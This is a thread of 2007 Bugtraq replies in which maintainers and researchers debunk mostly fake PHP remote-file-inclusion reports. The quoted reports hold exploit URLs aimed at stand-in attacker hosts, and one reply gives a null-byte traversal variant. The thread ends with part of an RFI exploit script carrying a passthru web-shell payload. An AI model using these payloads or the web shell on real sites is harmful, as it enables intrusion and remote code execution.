It appears that the function is never called with user-controllable input.

In classes/ircbot.class.php, the include statement ( include $dir . 
$file ."/plugin.php"; ) is also within a function:

   load_plugins($dir)

Again, it appears that the function is never called with 
user-controllable input.

Did you test this?

Stuart


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Wed 3. Jan 2007 20:25
zooz_998@hotmail.com wrote:

> # Download :http://osdn.dl.sourceforge.net/sourceforge/openpinboard/openpinboard_2.0.tar.gz

> #code : ;(require_once ($language							

$language is set in config.php which is generated by the install script.

Did you actually test it, or is it bogus as it seems ?

Stefano


From: jgraef@users.sf.net
Sent: Sat 6. Jan 2007 18:18
Hi,

I checked the code of 2.0 and 2.0.1 and tested it. There is no risk of Code Injection.

If you are still unsure mail me.


From: "Steven M. Christey" coley@mitre.org
Sent: Mon 8. Jan 2007 21:07
Remote file inclusion does not seem possible - the only relevant
code is this:

  require_once("languages/$language.php");

Since the "languages/" string will always appear first, you cant
inject an "http://" or similar to the front of the string, so remote
file inclusion is not possible.

OK, so we need to consider directory traversal sequences a la ".." for
local file inclusion.

It appears that directory traversal might be exploitable before
product installation is complete.

Before the require_once statement, we have:

  if (file_get_contents("locked")!="locked") header("location: install.php");
  require_once("config.php");

As has been observed by various people, merely printing a Location
header will not prevent execution of the rest of the application.  So,
the require_once() will always be executed.

In 2.0 and 2.0.1, config.php is empty - at least until the admin has
finished installation using install.php.

So, before installation is complete, $language (and other variables)
are not set to any values.  Assuming register_globals is enabled,
there is a small time window during which the attacker might insert
".." (and probably "%00"?) into the $language parameter to include
local files.

After the admin has properly run install.php, $language is inserted
into config.php, preventing this particular exploit.

Unfortunately, during the post-disclosure analysis of install.php, I
might have found a serious issue involving code execution but not RFI.
I will privately work with the developer to address the problem, then
follow up to the list.

- Steve


From: maxpost@bk.ru
Sent: Sat 13. Jan 2007 03:43
Not vuln. :
$this_path = substr($_SERVER["SCRIPT_FILENAME"],0,max(strrpos($_SERVER["SCRIPT_FILENAME"],"/"),strrpos($_SERVER["SCRIPT_FILENAME"],"\"))+1);
	// uncomment the following line if you run into an error like "Fatal error trying to include config.inc.php"
	// $this_path = "/absolute/path/to/naig/";


From: bmatheny@mobocracy.net
Sent: Mon 15. Jan 2007 14:13
--PEIAKu/WMn1b1Hv9
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

This is not a vulnerability. Since $languagepack is prefixed by "language/",
the PHP stream handler will simply try to open a local file. Also, you can
only modify $languagepack if register_globals is on, which, it rarely is
these days.

Can we stop with the PHP vulnerabilities that arent?

-Blake

Whatchu talkin bout, Willis?
> -------------------------------------------------------------------------=
-----------------------------------------
>=20
> AYYILDIZ.ORG PreSents...
>=20
>=20
> *Script: Jax Petition Book
> *Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
>=20
> *Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> *Code:
>=20
> require ( "language/" .$languagepack . ".inc.php" );
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> *Exploit:=20
>=20
> jax_petitionbook.php?languagepack=3Dhttp://attacker.txt?
> smileys.php?languagepack=3Dhttp://attacker.txt?
>=20
> -------------------------------------------------------------------------=
------------------------------------------
>=20
> Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci
> Special Tnx: AYYILDIZ.ORG

--=20
Blake Matheny
bmatheny@mobocracy.net
http://mobocracy.net

--PEIAKu/WMn1b1Hv9
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iD8DBQFFq/xx+1RMaZNdlgURAt9IAJsEXfACAaxXQKBgkjmFEk3ANi7trACggzpB
CAC+9oxPxvKwEfBE8VVnSNU=
=7+Bz
-----END PGP SIGNATURE-----

--PEIAKu/WMn1b1Hv9--


From: Chris Kelly ckdake@ckdake.com
Sent: Tue 16. Jan 2007 13:07
Gallery 1.4.4-pl4 and all versions of Gallery 1 more recent than this  
(I didnt check older versions as they are over 2 years old) are  
actually not vulnerable to this.  The actual code in contrib/phpBB2/ 
modules.php is:

    42   	$phpbb_root_path = "./";
    43 	// connect to phpbb
    44 	include_once($phpbb_root_path . extension.inc);
    45 	include_once($phpbb_root_path . common..$phpEx);
    46 	include_once($phpbb_root_path . includes/functions..$phpEx);

which defines phpbb_root_path first. Overwriting this through a get  
parameter would do no good because of line 42, and by default Gallery  
1 refuses to install if register_globals is enabled which should  
prevent the reported problem even if line 42 is not included.

Source code for reference:

1.4.4-pl4:
http://gallery.svn.sourceforge.net/viewvc/gallery/tags/ 
RELEASE_1_4_4_PL4/gallery/contrib/phpBB2/modules.php?view=markup

Current 1.5 branch (most up to date Gallery 1.5 versions, current  
stable version)
http://gallery.svn.sourceforge.net/viewvc/gallery/branches/ 
BRANCH_1_5_LEGACY/gallery/contrib/phpBB2/modules.php?view=markup

SVN turnk (current development, current 1.6-alpha3 and future release  
candidates)
http://gallery.svn.sourceforge.net/viewvc/gallery/trunk/gallery/ 
contrib/phpBB2/modules.php?view=markup


-Chris
Gallery Project Manager

--
Chris Kelly
ckdake@ckdake.com
http://ckdake.com/


On Jan 16, 2007, at 8:52 AM, me you wrote:

> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> Gallery <= 1.4.4-pl4 (phpbb_root_path) Remote File Include  
> Vulnerability
>
> Script : Gallery
>
> Version : 1.4.4-pl4
>
> URL : http://puzzle.dl.sourceforge.net/sourceforge/gallery/ 
> gallery-1.6-alpha3.tar.gz
>
> Author : BorN To K!LL
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> Code in :.    contrib/phpBB2/modules.php
>
> 	include_once($phpbb_root_path . extension.inc);
> 	include_once($phpbb_root_path . common..$phpEx);
> 	include_once($phpbb_root_path . includes/functions..$phpEx);
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> Explo!t :.
> ^^^^^
> www.site.com/[path]/contrib/phpBB2/modules.php? 
> phpbb_root_path=shellcode.txt?
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> GreeTz to :  Dr.2  ,  Asbmay  ,  General C  ,  ToOoFa  ,   
> SHiKaA  ,  str0ke ...
>
> =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
>
> _________________________________________________________________
> Dont just search. Find. Check out the new MSN Search! http:// 
> search.msn.click-url.com/go/onm00200636ave/direct/01/
>



From: krasza@gmail.com
Sent: Tue 16. Jan 2007 16:50
Hi,
Yeah ,  you are the best ;[
P.S:It is fake bug, because 
"(...)

$phpbb_root_path = "./";

(...)"
(http://www.google.com/codesearch?hl=pl&q=show:QzeIQQZQ7BQ:h8q8TE-XBMQ:Ex0tElneoM4&sa=N&ct=rd&cs_p=http://www.pottum.nl/gallery_web/gallery-1.4.4-pl4-sms9.tar.gz&cs_f=gallery/contrib/phpBB2/modules.php)

P.S2:When you publish something like that, I say "What an idiot!?"
-- 
Best degradation , Maciej `krasza` Kukla


From: John McGuire bugtraq@greeneandassoc.com
Sent: Tue 16. Jan 2007 11:51
Actually, this can be pretty serious depending on server settings, but 
an improper example was given.

Better one:

jax_petitionbook.php?languagepack=../../some_other_allowed_file_uploads/myfile.php.gif%00


Many servers will have magic quotes on to defeat the null byte, but by no means all.

John



bmatheny@mobocracy.net wrote:

>This is not a vulnerability. Since $languagepack is prefixed by "language/",
>the PHP stream handler will simply try to open a local file. Also, you can
>only modify $languagepack if register_globals is on, which, it rarely is
>these days.
>
>Can we stop with the PHP vulnerabilities that arent?
>
>-Blake
>
>Whatchu talkin bout, Willis?
>  
>
>>------------------------------------------------------------------------------------------------------------------
>>
>>AYYILDIZ.ORG PreSents...
>>
>>
>>*Script: Jax Petition Book
>>*Download: jtr.de/scripting/php/guestbook/petitionbook%20v1.0.3.06.zip
>>
>>*Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
>>
>>-------------------------------------------------------------------------------------------------------------------
>>
>>*Code:
>>
>>require ( "language/" .$languagepack . ".inc.php" );
>>
>>-------------------------------------------------------------------------------------------------------------------
>>
>>*Exploit: 
>>
>>jax_petitionbook.php?languagepack=http://attacker.txt?
>>smileys.php?languagepack=http://attacker.txt?
>>
>>-------------------------------------------------------------------------------------------------------------------
>>
>>Tnx:H0tturk,Dr.Max Virus,Asianeagle,PcDelisi,CodeR,Dum?nci
>>Special Tnx: AYYILDIZ.ORG
>>    
>>
>
>  
>



From: Stefano Zanero s.zanero@securenetwork.it
Sent: Tue 16. Jan 2007 23:45
ilkerkandemir@mynet.com wrote:

> Script:Trevorchan v0.7

Fake vuln

> require_once($tc_config[rootdir]."/inc/functions.php");
> require_once($tc_config[rootdir]."/inc/encryption.php");

These vars are initialized in config.php, which is require-d by the
files you mention.

> Exploit: 

Obviously, you didnt care to test them.

PLEASE STOP REPORTING FAKE PHP VULNS.

Stefano


From: Mailinglists Address mailinglist@expresshosting.net
Sent: Mon 22. Jan 2007 18:15
>
> Author: BorN To K!LL
>
Maybe this person should be called "BorN To Gr3p" or "BorN To Post Fake
and Pointl3ss ExploiTz!"
> #######################################################
>
> Bug in :.  news.php
>
> code :
> require_once($CONFIG[script_path]."functions/functions.php");
> require_once($CONFIG[script_path]."functions/mysql.php");
> require_once($CONFIG[script_path]."functions/template.php");
Two lines above the previous code is the following two lines:

unset($CONFIG);
require_once("config.php");

Once again... security auditing via grep doesnt give you enough
information to post a complete and accurate bug/security report.
Honestly, do you have a bash one liner that you just feed scripts to,
that generates these bogus and pointless reports?

It is getting to the point where I almost dont bother to check the code
any more.
>
> GreeTz to :.
>
M4d pr0ps to vim, grep and sed.


From: l.d.0@hotmail.com
Sent: Mon 22. Jan 2007 23:41
what ?

no bug there ?

can u give us proof ! examples !!

thanks

by l.d.0@hotmail.com
l.d.0


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Wed 24. Jan 2007 11:09
> Advanced Guestbook <=- 2.4.2 (include_path) Remote File Include
> Vulnerability

Bogus

> code :.
> 
> require_once $include_path."/admin/config.inc.php";
> require_once $include_path."/lib/$DB_CLASS";
> require_once $include_path."/lib/image.class.php";
> require_once $include_path."/lib/template.class.php";

Line above:
$include_path = dirname(__FILE__);

So your proposed "exploit" does not work.

Please STOP reporting fake web vulns.

Stefano


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Wed 24. Jan 2007 11:13
> FreeForum 0.9.0 <=- (index.php fpath) Remote File Include Vulnerability

Bogus. You really dont know what you are doing, as others pointed out.

> code :
> include("$fpath/forum.php");

That variable is initialized two lines above, so this is BOGUS.

Stefano


From: matteo@beccati.com
Sent: Wed 24. Jan 2007 17:40
Hi,

Ive been recently pointed to this vulnerability report by a friend. Im not subscribed to Bugtraq myself and I beg pardon for being a bit late, but the vulnerability hasnt been reported to the vendor.

Luckily enough theres no real danger because the vulnerabilites reported are fakes.

Moreover phpAdsNew 2.0.7 was released more than a year ago, and the project has now a new name, Openads.

All of the disclosed vulnerabilities try to use global variables in includes inside functions, which either have no access to the reported global variables or arent called if the script is directly accessed.

For reference, phpAdsNew 2.0.7:
https://developer.openads.org/browser/branches/pan/tags/REL_2_0_7/libraries/lib-remotehost.inc.php#L97
https://developer.openads.org/browser/branches/pan/tags/REL_2_0_7/admin/report-index.php#L68
https://developer.openads.org/browser/branches/pan/tags/REL_2_0_7/admin/lib-gui.inc.php#L429

and Openads 2.0.11:
https://developer.openads.org/browser/tags/openads-2.0.11/libraries/lib-remotehost.inc.php#L98
https://developer.openads.org/browser/tags/openads-2.0.11/admin/report-index.php#L68
https://developer.openads.org/browser/tags/openads-2.0.11/admin/lib-gui.inc.php#L466


From: str0ke str0ke@milw0rm.com
Sent: Thu 25. Jan 2007 08:34
Well the include is there but I dont see you getting passed the fatal
error one line up since the function get_security_flags() doesnt
exist.

/str0ke

On 1/25/07, me you <r.5.7@hotmail.com> wrote:
> ################################################
>
> phpCOIN <= RC-1 (modules/mail/index.php) Remote File Include Vulnerability
>
> Script: phpCOIN
>
> Version: RC-1
>
> URL: http://www.phpcoin.com/coin_modules/downloads/dload.php?id=1
>
> Found by: Born To K!LL
>
> ################################################
>
> Bug in :
>
> modules/mail/index.php
>
> code :
>
> Include module functions file
>         include( $_CCFG[_PKG_PATH_MDLS]."$mod/$mod"."_funcs.php");
>
> ################################################
>
> Explo!T:
> ^^^^^
> modules/mail/index.php?_CCFG[_PKG_PATH_MDLS]=[SHe1L-CoDe]
>
> GreeTz To :
>
> Dr.2 , Asbmay , General C , str0ke , SHiKaA , ThE-LoRd-Of-CrAcKiNg , m0d ...
>
> ################################################
>
> _________________________________________________________________
> Express yourself instantly with MSN Messenger! Download today its FREE!
> http://messenger.msn.click-url.com/go/onm00200471ave/direct/01/
>
>


From: Stefano Zanero s.zanero@securenetwork.it
Sent: Sun 28. Jan 2007 22:05
trzindan@hotmail.fr wrote:

> local Calendar System v1.1 (lcStdLib.inc) Remote File Include

Fake vuln

> code :

The variables are set in config.php

> exploit:

You never tested them. Which is pretty lame.

Stefano


From: Gadi Evron ge@linuxbox.org
Sent: Mon 29. Jan 2007 13:00
How can we all automate the testing process for fake vulns in and list
them as such without overburdening OSVDB, CVE, Milworm and SecuriTeam?


On Sun, 28 Jan 2007, Stefano Zanero wrote:

> trzindan@hotmail.fr wrote:
> 
> > local Calendar System v1.1 (lcStdLib.inc) Remote File Include
> 
> Fake vuln
> 
> > code :
> 
> The variables are set in config.php
> 
> > exploit:
> 
> You never tested them. Which is pretty lame.
> 
> Stefano
> 



From: Stefano Zanero s.zanero@securenetwork.it
Sent: Mon 29. Jan 2007 20:46
Gadi Evron wrote:
> How can we all automate the testing process for fake vulns in and list
> them as such without overburdening OSVDB, CVE, Milworm and SecuriTeam?

I suggest to ask for a pointer to the single source file where the
vulnerability exists, a pointer to the archive of the correct version of
the application, and a clear description of the vuln, or otherwise
reject the posting altogether.

This would at least add a filter... and make our life easier when
cross-checking.

Stefano


From: Simple Nomad thegnome@nmrc.org
Sent: Mon 29. Jan 2007 16:11
On Mon, 2007-01-29 at 13:00 -0600, Gadi Evron wrote:
> How can we all automate the testing process for fake vulns in and list
> them as such without overburdening OSVDB, CVE, Milworm and SecuriTeam?

How about letting them get posted to bugtraq as ppl test them out
anyway? Usually the testing reports from various ppl on bugtraq bring up
extra info such as "works on the previous version too" or "if foo=0 is
in the config it doesnt work" etc, otherwise someone will want ALL
versions tested before posting.

Bugtraq is probably about as automated as it gets, unless someone wants
to send all their stuff to iDefense or TippingPoint who probably arent
going to touch the latest lame xss bug or php app bug.

-SN



From: Francesco Laurita francesco@francesco-laurita.info
Sent: Mon 29. Jan 2007 23:48
trzindan@hotmail.fr ha scritto:
> index.php
>
> include(GNP_REAL_PATH . includes/common.php);
>
>   
Bogus!
First: GNP_REAL_PATH is a constant which means it has an unchangeable
value (RTM)
Second: GNP_REAL_PATH is setted on line #39 (Open your eyes)

Regards
--
Francesco Laurita


From: Mailinglists Address mailinglist@expresshosting.net
Sent: Tue 30. Jan 2007 16:33
<snip class="drivel">
> file ;
> index.php
> sources/usercp.php
> sources/admin.php
>
> ########################################################################
>
> bugs ;
>
> require_once("{$CONF[path]}/sources/misc/classes.php");
>
>
> ########################################################################
> exp;
> /atsphp-5.0.1/index.php?CONF[path]=evilcode?
> /atsphp-5.0.1/sources/usercp.php?CONF[path]=evilcode?
> /atsphp-5.0.1/sources/admin.php?CONF[path]=evilcode?
>
> ########################################################################
>   
</snip>

in the index.php the $CONF[path] variable is overwritten on line 20,
with line 26 being the require_once() call:

$CONF[path] = .;

This same line also is applied in the following file(s):

ssi.php
captcha.php
button.php
install/index.php
install/upgrade.php

in the source/user_cp.php file (incorrectly noted as usercp.php):
since the referenced require_once is enclosed in a class it is
impossible to instance this class and subsequently call the
require_once() on line 29.

in the source/admin.php file:
the same applies to this file as the require_once() are encapsulated
within a class that can not be instanced.

Tom Walsh
Express Web Systems, Inc.


From: Casey Marshall rsdio@metastatic.org
Sent: Tue 30. Jan 2007 16:33
On Jan 30, 2007, at 3:30 AM, trzindan@hotmail.fr wrote:

<snip non-exploit>

You know, Im personally starting to wonder if these bogus  
"vulnerabilities" are really just some low-bandwidth communication.  
Given the "greetz" and "shoutout" crap that follows each posting,  
which could be a little encoded message. Then just grep PHP code for  
include or require_once, and send.

You arent plotting terrah with fake PHP sploits, are ya?


From: Gadi Evron ge@linuxbox.org
Sent: Tue 30. Jan 2007 15:23
On Mon, 29 Jan 2007, Simple Nomad wrote:
> On Mon, 2007-01-29 at 13:00 -0600, Gadi Evron wrote:
> > How can we all automate the testing process for fake vulns in and list
> > them as such without overburdening OSVDB, CVE, Milworm and SecuriTeam?
> 
> How about letting them get posted to bugtraq as ppl test them out
> anyway? Usually the testing reports from various ppl on bugtraq bring up

They do get posted to bugtraq anyway. :)

> extra info such as "works on the previous version too" or "if foo=0 is
> in the config it doesnt work" etc, otherwise someone will want ALL
> versions tested before posting.
> 
> Bugtraq is probably about as automated as it gets, unless someone wants
> to send all their stuff to iDefense or TippingPoint who probably arent
> going to touch the latest lame xss bug or php app bug.

Indeed, but for those of us trying to make some sense out of all this,
things are somewhat hazy. It is not about working hard or having more
work, its about seeing if someone has any bright ideas on how to handle
this a bit better.

For example, remot file inclusion attacks are comparable to remote code
execution, testing each and every one of them is not always easy - but
something many of us do anyway.

Maybe it is time for a wiki/bugzilla sort of system to help get things run
more smoothly. Getting it running in this community wont be very easy
though.

You are right on the distribution..

> 
> -SN
> 



From: "Steven M. Christey" coley@mitre.org
Sent: Sat 3. Feb 2007 18:38
On Mon, 29 Jan 2007, Simple Nomad wrote:
> On Mon, 2007-01-29 at 13:00 -0600, Gadi Evron wrote:
> > How can we all automate the testing process for fake vulns in and
list
> > them as such without overburdening OSVDB, CVE, Milworm and SecuriTeam?
>
> How about letting them get posted to bugtraq as ppl test them out
> anyway?

If its rejected from Bugtraq, it will just get posted to other
channels that are monitored anyway, so it would just be shifting the
problem around.

Now that theres greater awareness about this common error, were
seeing a lot more people trying to verify the reports, especially for
RFI.  So, thanks to everyone out there.  Things like nested includes,
extract(), and dynamic variable evaluation can make post-disclosure
analysis even more difficult, as we saw in one long Bugtraq thread
recently.  But these disputes definitely help.

- Steve


From: Mailinglists Address mailinglist@expresshosting.net
Sent: Wed 7. Feb 2007 23:05
ali@hackerz.ir wrote:
> name : web host manager
> vendor : cpanel.net
> by : s3rv3r_hack3r (ali [at] hackerz [dot] ir)
> web-site : www.hackerz.ir - ali.hackerz.ir
> exploit: 
> http://domain.com:2086/scripts2/objcache?obj=http://www.hackerz.ir/?
>
>   
I have confirmed that this does in fact work once you are authenticated,
however the default behavior of cpanel is to require the user to
authenticate through a standard http authentication dialog box before
they can access this location. If you click on cancel on the http auth
dialog you are redirected to the login screen instead.

Additionally, some quick testing shows that the included file is not
parsed in any form, it is just passed through to the browser. I suppose
this could be used to trick a user into into submitting their user
information into an official looking form for some basic phishing, but
that is about all I can really see this could be used for.

Some double checking has discovered that if you pass a file to this
location (objcache=http://www.example.com/test.txt) the system will
cache the contents of the test.txt in a file named test.txt located in
/var/cpanel/objcache. A quick thought... that it might be possible to
use a large file to exhaust space in the /var partition (if there was
one) assuming that objcache doesnt do any sort of bounds checking on
the size of the file.

Additionally, it is possible to overwrite existing files in that
directory by matching the name of a file already in that directory. I
was able to replace the contents of the file whmnews with my own content
included via this method.

Tom Walsh
Express Web Systems, Inc.




From: e4c5@kelanisearch.com
Sent: Wed 21. Feb 2007 18:29
1) Obviously the poster is unaware that PHP register_globals have been off for a long long time and thus a value of the save_path cannot be passed in through the url as described by the poster.
http://au2.php.net/manual/en/security.globals.php

2) He has failed to notice the $save_path is set with in the upload.php script and only the website owner can change that.

3) upload.php is not Rad Upload! its a sample script.


From: tg@hotmail.com
Sent: Mon 5. Mar 2007 10:41
I am sorry to report this , but I just think this is un fair to the people who discovered the bug.

 on 22/2 - http://www.frsirt.com/english/advisories/2007/0692

 your attention please !


From: Mailinglists Address mailinglist@expresshosting.net
Sent: Wed 7. Mar 2007 19:23
c_r_ck@hotmail.com wrote:
> # Lazarus Guestbook (admin.php)Remote File Include Expliot
> # D.Script: http://www.carbonize.co.uk
> # Dork: "Powered by Lazarus Guestbook from carbonize.co.uk"
> # Discovered by Crack_man
> # Homepage: http://www.b0rizq.biz
> # Greetz To :B0rizq & red_casper & Draknaz kaiba & broken_proxy and all freind
>
> # Exploit:
> # [VicTim]/[path]/admin.php?include_path=shell.txt?cmd  
>
> ===========================
>
>   
With the lack of version information in this report it is hard for me to
say if the version I downloaded was already a patched version, or if
(based on previous history of these types of posts) this is just another
bogus report where the reviewer didnt actually look at the code, and
just posted based on the fact that there was a variable used in an
include (require, include_once, require_once, fopen, etc...) call.

Looking at line 36 of the admin.php script you can see the following:

if (isset($include_path))
{
   die("Hacking Attempt!");
}
 
$include_path = dirname(__FILE__);

So... either it is patched in the version I am looking at (unlikely) or
this is a bogus report (like god knows how many others).

Tom Walsh
Express Web Systems, Inc.
http://www.expresswebsystems.com/


From: support@deltascripts.com
Sent: Sat 10. Mar 2007 15:33
This will not work as long as you follow the warning messages during install. This can only work with register_globals turned ON. The program warns about this both during install AND each time admin logs in.


From: martin@moodle.com
Sent: Tue 13. Mar 2007 07:55
The first one is not a vulnerability at all - $cmd is always initialised as a constant within the script.

The second one is not a vulnerability either, as that file (filter.php) does not even exist!


From: "Steven M. Christey" coley@mitre.org
Sent: Wed 14. Mar 2007 13:07
Hasadya Raed:

from versions 0.3.2.6 (http://www.phpalbum.net/dw) and Beta
0.4.1-beta9 and beta8 (http://www.phpalbum.net/):

1) There is no file named common.php

2) There is no string "db_file" in any file

Are you sure that your report is correct?

- Steve


From: "Steven M. Christey" coley@mitre.org
Sent: Fri 16. Mar 2007 16:11
Tom Walsh said:

>So... either it is patched in the version I am looking at (unlikely)
>or this is a bogus report (like god knows how many others).

In this case, it looks legitimate for OLDER versions.  See informal
analysis below.

The cause was dynamic variable evaluation, which is one of the
features that make post-disclosure analysis really messy for PHP.

Also, the vendor apparently posted the fix for the version that Tom
looked at:

  http://carbonize.co.uk/Lazarus/Forum/index.php?topic=1164.0

The vendor calls it "XSS" which is a typical confusion with RFI, but
review of the code change shows its relevant to RFI.

Theres still dynamic variable evaluation for every GPC parameter
without whitelisting of variable names, so who knows if other
vulnerabilities are present.

- Steve


From: craig@k5n.us
Sent: Tue 20. Mar 2007 15:28
This is an outdated version of WebCalendar (0.9.45).  This issue and other related issues are fixes in the 1.0.5 version of WebCalendar.


From: neothermic@phpbb.com
Sent: Sat 24. Mar 2007 21:15
The latest version of phpBB is 2.0.22. Anyone using any version less than that is urged to upgrade.

As for the posted exploit, it is invalid. usercp_register.php has always had the following code in it:
if ( !defined(IN_PHPBB) )
{
	die("Hacking attempt");
	exit;
}

It has been there since phpBB 2.0.0; it makes your report invalid because you are unable to set the defined variable in order to bypass this check.

We urge people reporting issues to use our security tracker, http://www.phpbb.com/security/, or e-mail security@phpbb.com with any issues they find.

NeoThermic
phpBB Support Team, Audit Team and Incident Investigation Team Leader.


From: info@bloofox.com
Sent: Tue 17. Apr 2007 16:55
variable $content_php is set in php code and should overwrite any user made inserts in url. i think this is not a vulnerability, is it?


From: BlackHawk hawkgotyou@gmail.com
Sent: Mon 23. Apr 2007 21:27
pretty old version.. more vuln discovered lot of time ago

http://www.milw0rm.com/exploits/2510
http://www.milw0rm.com/exploits/1877

> # claroline <= Multiple Remote File Include Vulnerablitiy
> # D.Script:
> http://www.e-learningone.it/software_free/e-learning/claroline175.zip
> # Discovered by: MoHaNdKo-=-=-> MoHaNdKo@gmail.com
> # Homepage: http://www.MoHaNdKo.cOm
> # Exploit:[Path]/claroline/inc/lib/rootSys=Shell
> # Greetz To: Tryag-Team & AsbMays Group & Xp10 TeAm & CiTy GhOsTs TeAm
> #Greetz To: mY Love Dr.hacker BiG seso

-- 
Best regards,
 BlackHawk                            mailto:hawkgotyou@gmail.com



From: otto@ottodestruct.com
Sent: Thu 26. Apr 2007 14:44
None of these exploits youre posting actually work. WordPress does not have "require_once" or "include" as a variable in these files, and calling theme.php (to pick an example) will cause absolutely nothing to happen as it just defines functions. It executes nothing and produces no output by itself.

Please fact check and actually try out these "exploits" before posting them to Bugtraq in the future.


From: webmaster@carbonize.co.uk
Sent: Sun 20. May 2007 21:05
I actually patched this exploit on March 3rd, five days before this person tried to take credit for finding the exploit. Proof of the dates can be seen at http://carbonize.co.uk/Lazarus/Forum/index.php?topic=1164.0


From: www@htp.cc
Sent: Thu 7. Jun 2007 08:23
It`s not work! Cuz register_globals = Off
Maybe it`s work if it enabled on hoster. So.. Don`t worry :D


From: info@lucasvd.nl
Sent: Wed 6. Jun 2007 15:29
this wont work, unless register globals is on, and on almost every webhost with PHP5, does not have register_globals on.

So what a stupid exploit.


From: the.tiger100@gmail.com
Sent: Sun 10. Jun 2007 06:08
wassssss up with these ppl man
this is aint rfi at all

includes/db.php -->
if ( !defined(IN_MYBLOGGIE) )
{
    die("You are not authorized to access this file");
}

so how rfi ?
its defined so its not rfi
includes/template.php --->just class i cant find any inclusion or even one include

includes/classes -->no file with this name

includes/funcion.php?-->nothing at all no inlcludes at all 

viewmode.php?--->defined 

baaaaad exploit
its not working at all


From: foster@ghc.ru
Sent: Wed 4. Jul 2007 06:26
[quote]
By Hasadya Raed
...
Script : SoftNews Media Group
...
Exploits:
http://www.Victim.com/engine/init.php?root_dir=[Shell-Attack]
http://www.Victim.com/engine/Ajax/editnews.php?root_dir=[Shell-Attack]
------------------------------------
By Hasadya Raed
[/quote]

fake, obviously

[quote]
Vulnerable:  Softnews Media Group DataLife Engine 5.5
Softnews Media Group DataLife Engine 4.1
[/quote]

lets see as for DLE 5.5:
1) first php code lines in init.php:
if(!defined(DATALIFEENGINE))

{

die("Hacking attempt!");

}

2) what about root_dir:

foster@fiber dle5.5 $ grep root_dir ./engine/init.php
foster@fiber dle5.5 $
No variable with root_dir name...

foster@fiber dle5.5 $ grep -i root_dir ./engine/init.php
        if (@is_dir(ROOT_DIR./templates/.$category_skin))
        if (@is_dir(ROOT_DIR./templates/.$_REQUEST[skin_name]) AND $_REQUEST[skin_name] != )
        if (@is_dir(ROOT_DIR./templates/.$_COOKIE[dle_skin]))
     include_once ROOT_DIR./language/.$config["lang_".$config[skin]]./website.lng;
     include_once ROOT_DIR./language/.$config[langs]./website.lng;
$tpl->dir = ROOT_DIR./templates/.$config[skin];
require_once ROOT_DIR./engine/engine.php;


ROOT_DIR - is defined constant, not variable. So, nobody can define it with GET query :)

The same for "engine/Ajax/editnews.php":

foster@fiber dle5.5 $ egrep -i root_dir engine/ajax/editnews.php
define(ROOT_DIR, ../..);
        if (@is_dir(ROOT_DIR./templates/.$_COOKIE[dle_skin]))
     include_once ROOT_DIR./language/.$config["lang_".$config[skin]]./website.lng;
     include_once ROOT_DIR./language/.$config[langs]./website.lng;


Regards,

Foster [RST/GHC]




From: BlackHawk hawkgotyou@gmail.com
Sent: Tue 14. Aug 2007 09:23
FAKE!! i think that this guy just take some exploits on the web and
modify them a little then re-post them..

index.php, first 2 lines:

<?
$dvd_config_file = "config.php";  // Full path and name of the config file


so, where is the RFI?
but is obvious that you do not understand anything of this, lets take
a look at "your" exploit:

$packet ="GET ".$p."index.php?dvd_config_file=".$shell."?cmd=".$cmd."%00 HTTP/1.0
";

i do not think that:
1 - will work with 2 ? in the url
2 - you now why rgod or some one else putted %00 at the end of the
url..

hope to never see you nick again


Saturday, August 11, 2007, 5:04:36 PM, you wrote:

> #!/usr/bin/php -q -d short_open_tag=on
> <?
> print 

> //===============================================================================================
> //[Script       : phpDVD v1.0.4
> //[Author      : iLker Kandemir <ilkerkandemir[at]mynet.com>
> //[S.Page     : http://ugo.scarlata.it/phpdvd/phpDVD-1.0.4.tar.gz
> //[Dork        : "phpDVD v1.0.4"
> //===============================================================================================

> //[[Code]]------------------------------------------------------
> //
> //  require($dvd_config_file);
> //
> //[[Code]]---------------------------------------------------------

> ;

> if ($argc<4) {
> print (
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> Usage: php .$argv[0]. host shell cmd OPTIONS
> host:      script server (ip/hostname)
> shell:     path to shell
> cmd:       a shell command (ls -la)
> Options:
> -p[port]:    specify a port other than 80
> -P[ip:port]: specify a proxy
> Example:
> php .$argv[0]. localhost http://www.site.com/shell.txt ls -la -P1.1.1.1:80
> shell.txt: <?php ob_clean();echo"iLker Kandemir
> www.mefistolabs.com";ini_set("max_execution_time",0);echo
> "mefistolabs";passthru($_GET["cmd"]);die;?>
> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
> );
> die;
> }

> error_reporting(0);
> ini_set("max_execution_time",0);
> ini_set("default_socket_timeout",5);

> function quick_dump($string)
> {
>   $result=;$exa=;$cont=0;
>   for ($i=0; $i<=strlen($string)-1; $i++)
>   {
>    if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
>    {$result.="  .";}
>    else
>    {$result.="  ".$string[$i];}
>    if (strlen(dechex(ord($string[$i])))==2)
>    {$exa.=" ".dechex(ord($string[$i]));}
>    else
>    {$exa.=" 0".dechex(ord($string[$i]));}
